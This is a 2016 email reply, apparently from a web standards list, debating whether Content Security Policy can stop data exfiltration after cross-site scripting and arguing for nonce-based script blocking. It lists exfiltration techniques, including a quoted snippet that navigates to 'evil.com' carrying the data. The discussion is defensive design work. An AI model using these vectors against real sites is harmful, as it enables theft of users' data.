Re: On the Insecurity of Whitelists and the Future of CSP

On Thu, Sep 8, 2016 at 12:47 PM, Anne van Kesteren <annevk@annevk.nl> wrote:

> On Thu, Sep 8, 2016 at 12:39 PM, Artur Janc <aaj@google.com> wrote:
> > - Navigating or opening new windows to the attacker's origin
> (top.location =
> > "//evil.com/?data). With this an attacker doesn't need any other
> techniques
> > -- it will always work.
> > - Sending data via postMessage to other windows/frames the user has open
> > (e.g. the attacker-controlled page in window.opener)
>
> These are both navigation and we should figure out a plan.
>
>
> > - Opening same-origin pages/frames (usually same-origin frames will be
> > allowed) to documents with less restrictive CSP, e.g. error messages, and
> > then sending out the data from there.
>
> Hopefully https://github.com/mikewest/origin-policy goes some way
> towards addressing this.
>
>
> > - More exotic vectors such DNS prefetching/prerendering which work in
> many
> > modern browsers.
>
> We should make CSP cover DNS prefetching. I don't understand why it
> doesn't already. (Prerendering is probably a case of navigation, so
> can be grouped into the above navigation issue.)
>
>
> > - Timing attacks, application-specific attacks (saving data in the same
> > origin where the attacker can see it or sending messages to other users
> --
> > often possible in complex applications), sending data to any whitelisted
> > origins (e.g. analytics services which let the attacker see request
> > parameters), saving data in window.name, saving it in document.cookie
> scoped
> > to the whole origin (.example.org), etc.
>
> Some of these can stopped using same-site cookies I think. Not sure
> about the others, but we should try to plug those too.


An attacker with an XSS can set any cookie they want to make the
exfiltrated data visible across the whole top-level domain, so they're not
bound by flags on any existing cookies.

I'm not saying that preventing exfiltration is a priori bad or impossible.
However, it's something that we're nowhere near solving, and even if it's
solved it will not make cross-site scripting much less of a concern for
most applications. Compare this to the goal of preventing malicious script
execution in the first place, which we're close to achieving with nonces +
trust propagation with 'strict-dynamic' (at least for most classes of XSS
that we currently see).

If we can improve the situation there (e.g. give developers more powerful
features to execute trusted scripts while disallowing injected ones) then
we're simultaneously solving the exfiltration issue because an attacker
without script execution cannot easily extract the data from the DOM in the
first place. And on top of it, we're addressing the other current risks of
XSS, such as persistent access to the compromised origin, and so on. I
think it's a powerful signal that we should be focusing efforts on that
area.

-A